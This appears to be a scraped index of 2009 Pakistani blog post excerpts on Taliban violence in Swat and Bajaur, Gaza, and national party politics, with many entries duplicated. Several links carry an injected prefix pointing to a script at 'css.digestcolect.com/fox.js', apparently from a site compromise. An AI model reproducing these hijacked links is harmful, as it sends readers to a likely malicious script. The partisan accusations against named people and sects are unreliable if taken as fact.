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Swat’s descent in ‘daur-e-jahiliyah’ – [and the role of pro-terrorist journalists]: Swat’s descent in ‘daur-e-jahiliyah’ Tuesday, January 20, 2009 Pir M Shah In my recent interactions with friends from Swat, I could infer that the situation in Swat is akin to the ‘daur-e-jahiliyah’. According to them, a large number of

Bajaur’s IDPs – stories of the silent victims of the Taliban brutalities….: Bajaur’s IDPs – our wretched of the earth Tuesday, January 20, 2009 Farhat Taj I spend a whole day with the internally displaced people, IDPs, from Bajaur in a camp near Peshawar. I went from tent to tent to

Bajaur’s IDPs – stories of the silent victims of the Taliban brutalities….: Bajaur’s IDPs – our wretched of the earth Tuesday, January 20, 2009 Farhat Taj I spend a whole day with the internally displaced people, IDPs, from Bajaur in a camp near Peshawar. I went from tent to tent to

Swat: Diary of a Pakistani schoolgirl – BBC Urdu dot com: Private schools in Pakistan’s troubled north-western Swat district have been ordered to close in a Taleban edict banning girls’ education. Militants seeking to impose their austere interpretation of Sharia law have destroyed about 150 schools in the past year.

Robert Fisk: So, I asked the UN secretary general, isn’t it time for a war crimes tribunal?: Mr Ban said it would not be up to him to launch a war crimes tribunal. It was pathetic It’s a wrap, a doddle, an Israeli ceasefire just in time for Barack Obama to have a squeaky-clean inauguration with

Swat: Women’s entry not allwed in markets in Mingora: From Tazeen’s blog: This photograph was initially published in Daily Times, January 12, 2009. The caption read: “Women are not allowed in the market,” reads a banner displayed at the entrance of a market in Mingora. Taliban have banned

Swat: Women’s entry not allwed in markets in Mingora: From Tazeen’s blog: This photograph was initially published in Daily Times, January 12, 2009. The caption read: “Women are not allowed in the market,” reads a banner displayed at the entrance of a market in Mingora. Taliban have banned

Robert Fisk: When it comes to Gaza, leave the Second World War out of it: How do Holocaust survivors in Israel feel about being called Nazis? Exaggeration always gets my goat. I started to hate it back in the 1970s when the Provisional IRA claimed that Long Kesh internment camp was “worse than Belsen”.

Robert Fisk: When it comes to Gaza, leave the Second World War out of it: How do Holocaust survivors in Israel feel about being called Nazis? Exaggeration always gets my goat. I started to hate it back in the 1970s when the Provisional IRA claimed that Long Kesh internment camp was “worse than Belsen”.

Terrorism begs new laws —Shaukat Qadir: Interestingly, it was debated at the UN whether the International Criminal Court should be empowered to try international terrorists, which is actually the only genuinely workable solution to an international problem. The only reason a decision could not be

Terrorism begs new laws —Shaukat Qadir: Interestingly, it was debated at the UN whether the International Criminal Court should be empowered to try international terrorists, which is actually the only genuinely workable solution to an international problem. The only reason a decision could not be

Imran Khan returns Hilal-e-Pakistan – an analysis by Asadullah Ghalib: Imran Khan returned the Official Award. Why?

Imran Khan returns Hilal-e-Pakistan – an analysis by Asadullah Ghalib: Also read: News report and analysis by Nazir Naji http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&letusbuildpakistan.blogspot.com/2009/01/hilal-i-pakistan-to-biden-and-hilal-i.html

The story of a picture, which tell us everything about Pakistani politics…: Aik hi saff main kharay hogay geelani o nawaz na koi liberal raha na koi mazhab bardar

The story of a picture, which tell us everything about Pakistani politics…: tharapolitics Says: Aik hi saff main kharay hogay geelani o nawaz…na koi liberal raha na koi mazhab bardar

Taliban kill another Barelvi Pir in Budaber, Peshawar: The terrorist of Taliban and Sipah-e-Sahaba (an alliance of extremist Deobandis and Wahhabis) slaughtered

Taliban kill another Pir in Budaber, Peshawar: The terrorist of Taliban and Sipah-e-Sahaba (an alliance of extremist Deobandis and Wahhabis) slaughtered yet another Pir (of Barelvi sect) in Budaber, Peshawar. Jihadi terrorists of Deobanid and Wahhabi sects have been in the past supported and funded by

Swat: Taliban ban girls schools…..: 80,000 female students bear brunt of Taliban ban in Swat * Govt, private schools unlikely to reopen after winter vacations* 8,000 female teachers go unemployed after closure By Saleem Athar (Daily Times) MINGORA: Government and private schools across Swat

Imran Khan vs Charles Darwin – By Irfan Husain: THIS year will see a large number of celebrations at campuses and scientific institutions around the world to mark the 200th year of the birth of Charles Darwin, and the 150th year of the publication of his seminal work.

Nawaz Leage must not exploit and then ditch the lawyers’ movement for political gains….:

Nawaz Leage must not exploit and then ditch the lawyers’ movement for political gains….: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&dailywaqt.com/160109/Images/bp-23.gif

PML-N’s confrontational politics hampering CM Shahbaz’s efforts: * Bureaucracy being shielded by federal govt, transferred officers being welcomed in other provinces* PPP ministers not being accommodated, only Raja Riaz being listened to By Amjad Warraich LAHORE: Punjab Chief Minister Shahbaz Sharif’s efforts to leave his personal

PML-N’s confrontational politics hampering CM Shahbaz’s efforts: * Bureaucracy being shielded by federal govt, transferred officers being welcomed in other provinces* PPP ministers not being accommodated, only Raja Riaz being listened to By Amjad Warraich LAHORE: Punjab Chief Minister Shahbaz Sharif’s efforts to leave his personal

Now, Nawaz Sharif’s son-in-law asks Zardari to resign….: Nawaz’s son-in-law asks Zardari to quitKhwaja Hoti’s son ‘formally’ joins PML-N Friday, January 16, 2009by Our correspondent MARDAN: Captain (R) Mohammad Safdar, member of the National Assembly and son-in-law of former prime minister Nawaz Sharif, Thursday asked President Asif

Internet Crime Unit Alert: Abidullah Jan and Dictatorshipwatch.com: The so called Dictatorship Watch hate website (http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&dictatorshipwatch.com) is run by two dubious characters: the front man is a yellow journalist, a sympathizer and promoter of the Taliban and Al Qaeda; his name is Abidullah Jan who is based

Internet Crime Unit Alert: Watch the Dictatorshipwatch.com – a hate site: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.dictatorshipwatch.com/ The so called dictatorship watch is run by two shoddy characters: the front man is a yellow journalist, a sympathizer and promoter of the Taliban and Al Qaeda; his name is Abidullah Jan. the other man (most probably

Chaudhry Nisar versus Salman Taseer: Are PML-N and PPP playing good cop bad cop?: Aftab Iqbal: The dubious role of Chaudhry Nisar Ali Khan Chaudhry Nisar’s fulminations Chaudhry Nisar Ali Khan is the fiery leader of the opposition in Islamabad. He does not have a good word to say about the Zardari government

Well done Zardari, Well done Pakistan Government:

Well done Zardari, Well done Pakistan Government: Also read: Ambassador Hussain Haqqani is all over the airwaves in America defending Pakistan’s case. Times of India admits…

An unsung hero from Swat: The people’s cause Friday, January 16, 2009 The account of how a brave individual from Swat, even while aware of the risk, helped a kidnapped Chinese engineer to escape from Taliban kidnappers, is educative. The man was later killed

Ayesha Ijaz Khan: Between imperialism and extremism: On the one hand, Pakistan is the subject of a vicious and malicious international smear campaign, emanating from Washington and Delhi alike. On the other hand, internally we face out-of-control militant and misogynist groups whose aim is to terrorize

Punjab and the study of Ranjit Singh – by Ayaz Amir: Islamabad diary Friday, January 16, 2009 by Ayaz Amir At this juncture, when the seven tribal agencies along the Afghan frontier are lost to any form of government control, and Swat–once paradise on earth, now very much a picture

Ayaz Amir:: Punjab and the study of Ranjit Singh Islamabad diary Friday, January 16, 2009 by Ayaz Amir At this juncture, when the seven tribal agencies along the Afghan frontier are lost to any form of government control, and Swat–once paradise

An advice to Asif Zardari: Respect the parliamentary system and the rule of law….Hamid Mir / Shafqat Mahmood: Power brooks no competitionReality check Friday, January 16, 2009by Shafqat Mahmood An immutable law

An advice to Asif Zardari: Respect the parliamentary system and the rule of law….Hamid Mir / Shafqat Mahmood: Power brooks no competitionReality check Friday, January 16, 2009by Shafqat Mahmood An immutable law governing power is that it cannot be shared. When arrangements for sharing it are made, one party may appear to be docile and incapable of

Islamabd High Court dismisses Farah Dogar case: Will Imran Khan, Qazi and Nawaz Sharif respect this verdict?: IHC dismisses Farah Dogar case Updated at: 1245 PST, Friday, January 16, 2009 ISLAMABAD: Islamabad High Court (IHC) today disposed off Farah Dogar case. In its verdict, the court termed the reassessment and rechecking of Farah’s marks correct. Earlier,

Islamabd High Court dismisses Farah Dogar case: Will Imran Khan, Qazi and Nawaz Sharif respect this verdict?:

Islamabd High Court dismisses Farah Dogar case: Will Imran Khan, Qazi and Nawaz Sharif respect this verdict?: IHC dismisses Farah Dogar case Updated at: 1245 PST, Friday, January 16, 2009 ISLAMABAD: Islamabad High Court (IHC) today disposed off Farah Dogar case. In its verdict, the court termed the reassessment and rechecking of Farah’s marks correct. Earlier,

Theatre Swat: A joint product of Mullah and the Military: Horror amid the hills Thursday, January 15, 2009 Vaguely, all of us know of the conflict raging in Swat. It is uncertain if the true extent of the horror that reigns there has dawned on us. The situation appears

Taliban rule the roost in Swat through FM radio – By Rahimullah Yusufzai: Taliban rule the roost in Swat through FM radio Monday, January 05, 2009 (The News) By Rahimullah Yusufzai PESHAWAR: Most people in Swat are becoming regular listeners of the FM radio channel run by the Maulana Fazlullah-led Swati